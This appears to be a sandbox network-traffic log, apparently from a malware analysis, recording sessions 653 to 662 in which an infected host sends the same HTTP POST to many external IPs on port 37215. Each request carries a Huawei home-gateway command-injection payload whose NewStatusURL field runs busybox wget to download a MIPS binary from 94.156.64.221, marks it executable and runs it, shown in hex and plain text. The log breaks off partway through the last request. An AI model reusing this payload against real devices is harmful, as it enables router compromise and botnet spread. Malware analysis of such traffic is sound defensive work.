6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.23	47108	41.12.155.54	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306008101 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.23	46258	41.136.89.40	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306046963 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.23	34742	41.127.231.35	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306077003 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.23	36192	156.29.82.209	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306118011 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.23	59834	197.148.128.8	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306153059 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.23	36014	156.35.92.138	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306633949 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.23	52088	41.174.41.196	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306668997 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.23	37724	156.246.84.41	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306705952 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.23	44436	156.142.205.5	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306737900 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.23	50380	41.223.56.124	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.306780100 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo 